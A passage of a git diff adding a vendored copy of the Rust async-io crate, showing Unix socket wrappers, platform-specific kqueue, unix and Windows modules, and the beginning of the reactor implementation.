Async::new(UnixListener::bind(path)?) + } + + /// Accepts a new incoming UDS stream connection. + /// + /// When a connection is established, it will be returned as a stream together with its remote + /// address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// let (stream, addr) = listener.accept().await?; + /// println!("Accepted client: {:?}", addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(Async, UnixSocketAddr)> { + let (stream, addr) = self.read_with(|io| io.accept()).await?; + Ok((Async::new(stream)?, addr)) + } + + /// Returns a stream of incoming UDS connections. + /// + /// The stream is infinite, i.e. it never stops with a [`None`] item. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use futures_lite::stream::StreamExt; + /// use std::os::unix::net::UnixListener; + /// use std::pin::pin; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// let incoming = listener.incoming(); + /// let mut incoming = pin!(incoming); + /// + /// while let Some(stream) = incoming.next().await { + /// let stream = stream?; + /// println!("Accepted client: {:?}", stream.get_ref().peer_addr()?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> impl Stream>> + Send + '_ { + stream::unfold(self, |listener| async move { + let res = listener.accept().await.map(|(stream, _)| stream); + Some((res, listener)) + }) + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(listener: std::os::unix::net::UnixListener) -> io::Result { + Async::new(listener) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS stream connected to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = Async::::connect("/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(path: P) -> io::Result> { + let address = convert_path_to_socket_address(path.as_ref())?; + + // Begin async connect. + let socket = connect(address.into(), rn::AddressFamily::UNIX, None)?; + // Use new_nonblocking because connect already sets socket to non-blocking mode. + let stream = Async::new_nonblocking(UnixStream::from(socket))?; + + // The stream becomes writable when connected. + stream.writable().await?; + + // On Linux, it appears the socket may become writable even when connecting fails, so we + // must do an extra check here and see if the peer address is retrievable. + stream.get_ref().peer_addr()?; + Ok(stream) + } + + /// Creates an unnamed pair of connected UDS stream sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let (stream1, stream2) = Async::::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(Async, Async)> { + let (stream1, stream2) = UnixStream::pair()?; + Ok((Async::new(stream1)?, Async::new(stream2)?)) + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(stream: std::os::unix::net::UnixStream) -> io::Result { + Async::new(stream) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS datagram socket bound to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + Async::new(UnixDatagram::bind(path)?) + } + + /// Creates a UDS datagram socket not bound to any address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::unbound()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn unbound() -> io::Result> { + Async::new(UnixDatagram::unbound()?) + } + + /// Creates an unnamed pair of connected Unix datagram sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let (socket1, socket2) = Async::::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(Async, Async)> { + let (socket1, socket2) = UnixDatagram::pair()?; + Ok((Async::new(socket1)?, Async::new(socket2)?)) + } + + /// Receives data from the socket. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket")?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.recv_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, UnixSocketAddr)> { + self.read_with(|io| io.recv_from(buf)).await + } + + /// Sends data to the specified address. + /// + /// Returns the number of bytes written. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::unbound()?; + /// + /// let msg = b"hello"; + /// let addr = "/tmp/socket"; + /// let len = socket.send_to(msg, addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], path: P) -> io::Result { + self.write_with(|io| io.send_to(buf, &path)).await + } + + /// Receives data from the connected peer. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// The [`connect`][`UnixDatagram::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket1")?; + /// socket.get_ref().connect("/tmp/socket2")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.recv(buf)).await + } + + /// Sends data to the connected peer. + /// + /// Returns the number of bytes written. + /// + /// The [`connect`][`UnixDatagram::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket1")?; + /// socket.get_ref().connect("/tmp/socket2")?; + /// + /// let msg = b"hello"; + /// let len = socket.send(msg).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.write_with(|io| io.send(buf)).await + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(socket: std::os::unix::net::UnixDatagram) -> io::Result { + Async::new(socket) + } +} + +/// Polls a future once, waits for a wakeup, and then optimistically assumes the future is ready. +async fn optimistic(fut: impl Future>) -> io::Result<()> { + let mut polled = false; + let mut fut = pin!(fut); + + poll_fn(|cx| { + if !polled { + polled = true; + fut.as_mut().poll(cx) + } else { + Poll::Ready(Ok(())) + } + }) + .await +} + +fn connect( + addr: rn::SocketAddrAny, + domain: rn::AddressFamily, + protocol: Option, +) -> io::Result { + #[cfg(windows)] + use rustix::fd::AsFd; + + setup_networking(); + + #[cfg(any( + target_os = "android", + target_os = "dragonfly", + target_os = "freebsd", + target_os = "fuchsia", + target_os = "illumos", + target_os = "linux", + target_os = "netbsd", + target_os = "openbsd" + ))] + let socket = rn::socket_with( + domain, + rn::SocketType::STREAM, + rn::SocketFlags::CLOEXEC | rn::SocketFlags::NONBLOCK, + protocol, + )?; + + #[cfg(not(any( + target_os = "android", + target_os = "dragonfly", + target_os = "freebsd", + target_os = "fuchsia", + target_os = "illumos", + target_os = "linux", + target_os = "netbsd", + target_os = "openbsd" + )))] + let socket = { + #[cfg(not(any( + target_os = "aix", + target_vendor = "apple", + target_os = "espidf", + target_os = "haiku", + windows, + )))] + let flags = rn::SocketFlags::CLOEXEC; + #[cfg(any( + target_os = "aix", + target_vendor = "apple", + target_os = "espidf", + target_os = "haiku", + windows, + ))] + let flags = rn::SocketFlags::empty(); + + // Create the socket. + let socket = rn::socket_with(domain, rn::SocketType::STREAM, flags, protocol)?; + + // Set cloexec if necessary. + #[cfg(any(target_os = "aix", target_vendor = "apple"))] + rio::fcntl_setfd(&socket, rio::fcntl_getfd(&socket)? | rio::FdFlags::CLOEXEC)?; + + // Set non-blocking mode. + set_nonblocking(socket.as_fd())?; + + socket + }; + + // Set nosigpipe if necessary. + #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "dragonfly", + ))] + rn::sockopt::set_socket_nosigpipe(&socket, true)?; + + // Set the handle information to HANDLE_FLAG_INHERIT. + #[cfg(windows)] + unsafe { + if windows_sys::Win32::Foundation::SetHandleInformation( + socket.as_raw_socket() as _, + windows_sys::Win32::Foundation::HANDLE_FLAG_INHERIT, + windows_sys::Win32::Foundation::HANDLE_FLAG_INHERIT, + ) == 0 + { + return Err(io::Error::last_os_error()); + } + } + + #[allow(unreachable_patterns)] + match rn::connect(&socket, &addr) { + Ok(_) => {} + #[cfg(unix)] + Err(rio::Errno::INPROGRESS) => {} + Err(rio::Errno::AGAIN) | Err(rio::Errno::WOULDBLOCK) => {} + Err(err) => return Err(err.into()), + } + Ok(socket) +} + +#[inline] +fn setup_networking() { + #[cfg(windows)] + { + // On Windows, we need to call WSAStartup before calling any networking code. + // Make sure to call it at least once. + static INIT: std::sync::Once = std::sync::Once::new(); + + INIT.call_once(|| { + let _ = rustix::net::wsa_startup(); + }); + } +} + +#[inline] +fn set_nonblocking( + #[cfg(unix)] fd: BorrowedFd<'_>, + #[cfg(windows)] fd: BorrowedSocket<'_>, +) -> io::Result<()> { + cfg_if::cfg_if! { + // ioctl(FIONBIO) sets the flag atomically, but we use this only on Linux + // for now, as with the standard library, because it seems to behave + // differently depending on the platform. + // https://github.com/rust-lang/rust/commit/efeb42be2837842d1beb47b51bb693c7474aba3d + // https://github.com/libuv/libuv/blob/e9d91fccfc3e5ff772d5da90e1c4a24061198ca0/src/unix/poll.c#L78-L80 + // https://github.com/tokio-rs/mio/commit/0db49f6d5caf54b12176821363d154384357e70a + if #[cfg(any(windows, target_os = "linux"))] { + rustix::io::ioctl_fionbio(fd, true)?; + } else { + let previous = rustix::fs::fcntl_getfl(fd)?; + let new = previous | rustix::fs::OFlags::NONBLOCK; + if new != previous { + rustix::fs::fcntl_setfl(fd, new)?; + } + } + } + + Ok(()) +} + +/// Converts a `Path` to its socket address representation. +/// +/// This function is abstract socket-aware. +#[cfg(unix)] +#[inline] +fn convert_path_to_socket_address(path: &Path) -> io::Result { + // SocketAddrUnix::new() will throw EINVAL when a path with a zero in it is passed in. + // However, some users expect to be able to pass in paths to abstract sockets, which + // triggers this error as it has a zero in it. Therefore, if a path starts with a zero, + // make it an abstract socket. + #[cfg(any(target_os = "linux", target_os = "android"))] + let address = { + use std::os::unix::ffi::OsStrExt; + + let path = path.as_os_str(); + match path.as_bytes().first() { + Some(0) => rn::SocketAddrUnix::new_abstract_name(path.as_bytes().get(1..).unwrap())?, + _ => rn::SocketAddrUnix::new(path)?, + } + }; + + // Only Linux and Android support abstract sockets. + #[cfg(not(any(target_os = "linux", target_os = "android")))] + let address = rn::SocketAddrUnix::new(path)?; + + Ok(address) +} diff --git a/lib/malio/async-io/src/os.rs b/lib/malio/async-io/src/os.rs new file mode 100644 index 0000000..abc03bb --- /dev/null +++ b/lib/malio/async-io/src/os.rs @@ -0,0 +1,16 @@ +//! Platform-specific functionality. + +#[cfg(unix)] +pub mod unix; + +#[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +))] +pub mod kqueue; + +#[cfg(windows)] +pub mod windows; diff --git a/lib/malio/async-io/src/os/kqueue.rs b/lib/malio/async-io/src/os/kqueue.rs new file mode 100644 index 0000000..c796590 --- /dev/null +++ b/lib/malio/async-io/src/os/kqueue.rs @@ -0,0 +1,278 @@ +//! Functionality that is only available for `kqueue`-based platforms. + +use __private::QueueableSealed; + +use crate::reactor::{Reactor, Readable, Registration}; +use crate::Async; + +use std::future::Future; +use std::io::{Error, Result}; +use std::num::NonZeroI32; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +use std::pin::Pin; +use std::process::Child; +use std::task::{Context, Poll}; + +/// A wrapper around a queueable object that waits until it is ready. +/// +/// The underlying `kqueue` implementation can be used to poll for events besides file descriptor +/// read/write readiness. This API makes these faculties available to the user. +/// +/// See the [`Queueable`] trait and its implementors for objects that currently support being registered +/// into the reactor. +#[derive(Debug)] +pub struct Filter(Async); + +impl AsRef for Filter { + fn as_ref(&self) -> &T { + self.0.as_ref() + } +} + +impl AsMut for Filter { + fn as_mut(&mut self) -> &mut T { + self.get_mut() + } +} + +impl Filter { + /// Create a new [`Filter`] around a [`Queueable`]. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// // Create a new process to wait for. + /// let mut child = Command::new("sleep").arg("5").spawn().unwrap(); + /// + /// // Wrap the process in an `Async` object that waits for it to exit. + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// + /// // Wait for the process to exit. + /// # async_io::block_on(async { + /// process.ready().await.unwrap(); + /// # }); + /// ``` + pub fn new(mut filter: T) -> Result { + Ok(Self(Async { + source: Reactor::get().insert_io(filter.registration())?, + io: Some(filter), + })) + } +} + +impl AsRawFd for Filter { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +impl AsFd for Filter { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +impl> TryFrom for Filter { + type Error = Error; + + fn try_from(fd: OwnedFd) -> Result { + Ok(Self(Async::try_from(fd)?)) + } +} + +impl> TryFrom> for OwnedFd { + type Error = Error; + + fn try_from(filter: Filter) -> Result { + filter.0.try_into() + } +} + +impl Filter { + /// Gets a reference to the underlying [`Queueable`] object. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.get_ref(); + /// # }); + /// ``` + pub fn get_ref(&self) -> &T { + self.0.get_ref() + } + + /// Gets a mutable reference to the underlying [`Queueable`] object. + /// + /// Unlike in [`Async`], this method is safe to call, since dropping the [`Filter`] will + /// not cause any undefined behavior. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let mut process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.get_mut(); + /// # }); + /// ``` + pub fn get_mut(&mut self) -> &mut T { + unsafe { self.0.get_mut() } + } + + /// Unwraps the inner [`Queueable`] object. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.into_inner().unwrap(); + /// # }); + /// ``` + pub fn into_inner(self) -> Result { + self.0.into_inner() + } + + /// Waits until the [`Queueable`] object is ready. + /// + /// This method completes when the underlying [`Queueable`] object has completed. See the documentation + /// for the [`Queueable`] object for more information. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Filter::new(Exit::new(child))?; + /// + /// // Wait for the process to exit. + /// process.ready().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ready(&self) -> Ready<'_, T> { + Ready(self.0.readable()) + } + + /// Polls the I/O handle for readiness. + /// + /// When this method returns [`Poll::Ready`], that means that the OS has delivered a notification + /// that the underlying [`Queueable`] object is ready. See the documentation for the [`Queueable`] + /// object for more information. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::os::kqueue::{Exit, Filter}; + /// use std::future::poll_fn; + /// use std::process::Command; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Filter::new(Exit::new(child))?; + /// + /// // Wait for the process to exit. + /// poll_fn(|cx| process.poll_ready(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_ready(&self, cx: &mut Context<'_>) -> Poll> { + self.0.poll_readable(cx) + } +} + +/// Future for [`Filter::ready`]. +#[must_use = "futures do nothing unless you `.await` or poll them"] +#[derive(Debug)] +pub struct Ready<'a, T>(Readable<'a, T>); + +impl Future for Ready<'_, T> { + type Output = Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + Pin::new(&mut self.0).poll(cx) + } +} + +/// Objects that can be registered into the reactor via a [`Async`](crate::Async). +/// +/// These objects represent other filters associated with the `kqueue` runtime aside from readability +/// and writability. Rather than waiting on readable/writable, they wait on "readiness". This is +/// typically used for signals and child process exits. +pub trait Queueable: QueueableSealed {} + +/// An object representing a signal. +/// +/// When registered into [`Async`](crate::Async) via [`with_filter`](AsyncKqueueExt::with_filter), +/// it will return a [`readable`](crate::Async::readable) event when the signal is received. +#[derive(Debug, Copy, Clone, Eq, PartialEq, PartialOrd, Ord, Hash)] +pub struct Signal(pub i32); + +impl QueueableSealed for Signal { + fn registration(&mut self) -> Registration { + Registration::Signal(*self) + } +} +impl Queueable for Signal {} + +/// Wait for a child process to exit. +/// +/// When registered into [`Async`](crate::Async) via [`with_filter`](AsyncKqueueExt::with_filter), +/// it will return a [`readable`](crate::Async::readable) event when the child process exits. +#[derive(Debug)] +pub struct Exit(NonZeroI32); + +impl Exit { + /// Create a new `Exit` object. + pub fn new(child: Child) -> Self { + Self( + NonZeroI32::new(child.id().try_into().expect("unable to parse pid")) + .expect("cannot register pid with zero value"), + ) + } + + /// Create a new `Exit` object from a PID. + /// + /// # Safety + /// + /// The PID must be tied to an actual child process. + pub unsafe fn from_pid(pid: NonZeroI32) -> Self { + Self(pid) + } +} + +impl QueueableSealed for Exit { + fn registration(&mut self) -> Registration { + Registration::Process(self.0) + } +} +impl Queueable for Exit {} + +mod __private { + use crate::reactor::Registration; + + #[doc(hidden)] + pub trait QueueableSealed { + /// Get a registration object for this filter. + fn registration(&mut self) -> Registration; + } +} diff --git a/lib/malio/async-io/src/os/unix.rs b/lib/malio/async-io/src/os/unix.rs new file mode 100644 index 0000000..b3d4d11 --- /dev/null +++ b/lib/malio/async-io/src/os/unix.rs @@ -0,0 +1,65 @@ +//! Functionality that is only available for `unix` platforms. + +use std::os::unix::io::BorrowedFd; + +/// Get a file descriptor that can be used to wait for readiness in an external runtime. +/// +/// This file descriptor is equivalent to the one used by the underlying epoll/kqueue/event ports +/// instance for polling. The intention is that this file descriptor can be registered into an +/// external runtime (like [`calloop`] or [GLib]) so that `async-io` can be seamlessly polled +/// alongside the other runtime. +/// +/// Not every backend used on `unix` has an associated file descriptor, however. While epoll, +/// kqueue and event ports have a file descriptor as a backend, on some Unix systems `async-io` +/// will use the `poll()` system call instead. Since there are no file descriptors intrinsically +/// associated with `poll()`, this function will return `None`. +/// +/// There is presently no way to stop the "`async-io`" thread from being launched, so the reactor +/// will still be continuously polled on that thread. This fact should be kept in mind by anyone +/// looking to integrate `async-io` into another runtime using this function. +/// +/// It is possible to use this function to call raw system calls on the underlying event source. +/// This is generally not recommended, since registered event sources may conflict with `async-io`'s +/// existing scheme for managing sources. The behavior resulting from this is not specified, but +/// will not result in undefined behavior. This could include panics, incorrect results, aborts, +/// memory leaks, and non-termination. +/// +/// [`calloop`]: https://docs.rs/calloop +/// [GLib]: https://en.wikipedia.org/wiki/GLib +/// +/// ## Example +/// +/// ``` +/// #![cfg(unix)] +/// +/// use async_io::os::unix::reactor_fd; +/// +/// my_runtime::register(reactor_fd().unwrap()); +/// # mod my_runtime { +/// # use std::os::unix::io::BorrowedFd; +/// # pub fn register(_: BorrowedFd<'_>) {} +/// # } +/// ``` +pub fn reactor_fd() -> Option> { + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), + ))] { + use std::os::unix::io::AsFd; + Some(crate::Reactor::get().poller.as_fd()) + } else { + None + } + } +} diff --git a/lib/malio/async-io/src/os/windows.rs b/lib/malio/async-io/src/os/windows.rs new file mode 100644 index 0000000..b0a5c5e --- /dev/null +++ b/lib/malio/async-io/src/os/windows.rs @@ -0,0 +1,191 @@ +//! Functionality that is only available on Windows. + +use crate::reactor::{Reactor, Readable, Registration}; +use crate::Async; + +use std::future::Future; +use std::io::{self, Result}; +use std::os::windows::io::{AsHandle, AsRawHandle, BorrowedHandle, OwnedHandle, RawHandle}; +use std::pin::Pin; +use std::task::{Context, Poll}; + +/// A waitable handle registered in the reactor. +/// +/// Some handles in Windows are “waitableâ€, which means that they emit a “readiness†signal after some event occurs. This function can be used to wait for such events to occur on a handle. This function can be used in addition to regular socket polling. +/// +/// Waitable objects include the following: +/// +/// - Console inputs +/// - Waitable events +/// - Mutexes +/// - Processes +/// - Semaphores +/// - Threads +/// - Timer +/// +/// This structure can be used to wait for any of these objects to become ready. +/// +/// ## Implementation +/// +/// The current implementation waits on the handle by registering it in the application-global +/// Win32 threadpool. However, in the future it may be possible to migrate to an implementation +/// on Windows 10 that uses a mechanism similar to [`MsgWaitForMultipleObjectsEx`]. +/// +/// [`MsgWaitForMultipleObjectsEx`]: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-msgwaitformultipleobjectsex +/// +/// ## Caveats +/// +/// Read the documentation for the [`Async`](crate::Async) type for more information regarding the +/// abilities and caveats with using this type. +#[derive(Debug)] +pub struct Waitable(Async); + +impl AsRef for Waitable { + fn as_ref(&self) -> &T { + self.0.as_ref() + } +} + +impl Waitable { + /// Create a new [`Waitable`] around a waitable handle. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::windows::Waitable; + /// + /// // Create a new process to wait for. + /// let mut child = Command::new("sleep").arg("5").spawn().unwrap(); + /// + /// // Wrap the process in an `Async` object that waits for it to exit. + /// let process = Waitable::new(child).unwrap(); + /// + /// // Wait for the process to exit. + /// # async_io::block_on(async { + /// process.ready().await.unwrap(); + /// # }); + /// ``` + pub fn new(handle: T) -> Result { + Ok(Self(Async { + source: Reactor::get() + .insert_io(unsafe { Registration::new_waitable(handle.as_handle()) })?, + io: Some(handle), + })) + } +} + +impl AsRawHandle for Waitable { + fn as_raw_handle(&self) -> RawHandle { + self.get_ref().as_raw_handle() + } +} + +impl AsHandle for Waitable { + fn as_handle(&self) -> BorrowedHandle<'_> { + self.get_ref().as_handle() + } +} + +impl> TryFrom for Waitable { + type Error = io::Error; + + fn try_from(handle: OwnedHandle) -> Result { + Self::new(handle.into()) + } +} + +impl> TryFrom> for OwnedHandle { + type Error = io::Error; + + fn try_from(value: Waitable) -> std::result::Result { + value.into_inner().map(|handle| handle.into()) + } +} + +impl Waitable { + /// Get a reference to the inner handle. + pub fn get_ref(&self) -> &T { + self.0.get_ref() + } + + /// Get a mutable reference to the inner handle. + /// + /// # Safety + /// + /// The underlying I/O source must not be dropped or moved out using this function. + pub unsafe fn get_mut(&mut self) -> &mut T { + self.0.get_mut() + } + + /// Consumes the [`Waitable`], returning the inner handle. + pub fn into_inner(self) -> Result { + self.0.into_inner() + } + + /// Waits until the [`Waitable`] object is ready. + /// + /// This method completes when the underlying [`Waitable`] object has completed. See the documentation + /// for the [`Waitable`] object for more information. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::windows::Waitable; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Waitable::new(child)?; + /// + /// // Wait for the process to exit. + /// process.ready().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ready(&self) -> Ready<'_, T> { + Ready(self.0.readable()) + } + + /// Polls the I/O handle for readiness. + /// + /// When this method returns [`Poll::Ready`], that means that the OS has delivered a notification + /// that the underlying [`Waitable`] object is ready. See the documentation for the [`Waitable`] + /// object for more information. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::os::windows::Waitable; + /// use std::future::poll_fn; + /// use std::process::Command; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Waitable::new(child)?; + /// + /// // Wait for the process to exit. + /// poll_fn(|cx| process.poll_ready(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_ready(&self, cx: &mut Context<'_>) -> Poll> { + self.0.poll_readable(cx) + } +} + +/// Future for [`Filter::ready`]. +#[must_use = "futures do nothing unless you `.await` or poll them"] +#[derive(Debug)] +pub struct Ready<'a, T>(Readable<'a, T>); + +impl Future for Ready<'_, T> { + type Output = Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + Pin::new(&mut self.0).poll(cx) + } +} diff --git a/lib/malio/async-io/src/reactor.rs b/lib/malio/async-io/src/reactor.rs new file mode 100644 index 0000000..b62fd07 --- /dev/null +++ b/lib/malio/async-io/src/reactor.rs @@ -0,0 +1,680 @@ +use std::borrow::Borrow; +use std::collections::BTreeMap; +use std::fmt; +use std::future::Future; +use std::io; +use std::marker::PhantomData; +use std::mem; +use std::panic; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, OnceLock}; +use std::task::{ready, Context, Poll, Waker}; +use std::time::{Duration, Instant}; + +use concurrent_queue::ConcurrentQueue; +use polling::{Event, Events, Poller}; +use slab::Slab; + +// Choose the proper implementation of `Registration` based on the target platform. +cfg_if::cfg_if! { + if #[cfg(windows)] { + mod windows; + pub use windows::Registration; + } else if #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))] { + mod kqueue; + pub use kqueue::Registration; + } else if #[cfg(unix)] { + mod unix; + pub use unix::Registration; + } else { + compile_error!("unsupported platform"); + } +} + +#[cfg(not(target_os = "espidf"))] +const TIMER_QUEUE_SIZE: usize = 1000; + +/// ESP-IDF - being an embedded OS - does not need so many timers +/// and this saves ~ 20K RAM which is a lot for an MCU with RAM < 400K +#[cfg(target_os = "espidf")] +const TIMER_QUEUE_SIZE: usize = 100; + +const READ: usize = 0; +const WRITE: usize = 1; + +/// The reactor. +/// +/// There is only one global instance of this type, accessible by [`Reactor::get()`]. +pub(crate) struct Reactor { + /// Portable bindings to epoll/kqueue/event ports/IOCP. + /// + /// This is where I/O is polled, producing I/O events. + pub(crate) poller: Poller, + + /// Ticker bumped before polling. + /// + /// This is useful for checking what is the current "round" of `ReactorLock::react()` when + /// synchronizing things in `Source::readable()` and `Source::writable()`. Both of those + /// methods must make sure they don't receive stale I/O events - they only accept events from a + /// fresh "round" of `ReactorLock::react()`. + ticker: AtomicUsize, + + /// Registered sources. + sources: Mutex>>, + + /// Temporary storage for I/O events when polling the reactor. + /// + /// Holding a lock on this event list implies the exclusive right to poll I/O. + events: Mutex, + + /// An ordered map of registered timers. + /// + /// Timers are in the order in which they fire. The `usize` in this type is a timer ID used to + /// distinguish timers that fire at the same time. The `Waker` represents the task awaiting the + /// timer. + timers: Mutex>, + + /// A queue of timer operations (insert and remove). + /// + /// When inserting or removing a timer, we don't process it immediately - we just push it into + /// this queue. Timers actually get processed when the queue fills up or the reactor is polled. + timer_ops: ConcurrentQueue, +} + +impl Reactor { + /// Returns a reference to the reactor. + pub(crate) fn get() -> &'static Reactor { + static REACTOR: OnceLock = OnceLock::new(); + + REACTOR.get_or_init(|| { + crate::driver::init(); + Reactor { + poller: Poller::new().expect("cannot initialize I/O event notification"), + ticker: AtomicUsize::new(0), + sources: Mutex::new(Slab::new()), + events: Mutex::new(Events::new()), + timers: Mutex::new(BTreeMap::new()), + timer_ops: ConcurrentQueue::bounded(TIMER_QUEUE_SIZE), + } + }) + } + + /// Returns the current ticker. + pub(crate) fn ticker(&self) -> usize { + self.ticker.load(Ordering::SeqCst) + } + + /// Registers an I/O source in the reactor. + pub(crate) fn insert_io(&self, raw: Registration) -> io::Result> { + // Create an I/O source for this file descriptor. + let source = { + let mut sources = self.sources.lock().unwrap(); + let key = sources.vacant_entry().key(); + let source = Arc::new(Source { + registration: raw, + key, + state: Default::default(), + }); + sources.insert(source.clone()); + source + }; + + // Register the file descriptor. + if let Err(err) = source.registration.add(&self.poller, source.key) { + let mut sources = self.sources.lock().unwrap(); + sources.remove(source.key); + return Err(err); + } + + Ok(source) + } + + /// Deregisters an I/O source from the reactor. + pub(crate) fn remove_io(&self, source: &Source) -> io::Result<()> { + let mut sources = self.sources.lock().unwrap(); + sources.remove(source.key); + source.registration.delete(&self.poller) + } + + /// Registers a timer in the reactor. + /// + /// Returns the inserted timer's ID. + pub(crate) fn insert_timer(&self, when: Instant, waker: &Waker) -> usize { + // Generate a new timer ID. + static ID_GENERATOR: AtomicUsize = AtomicUsize::new(1); + let id = 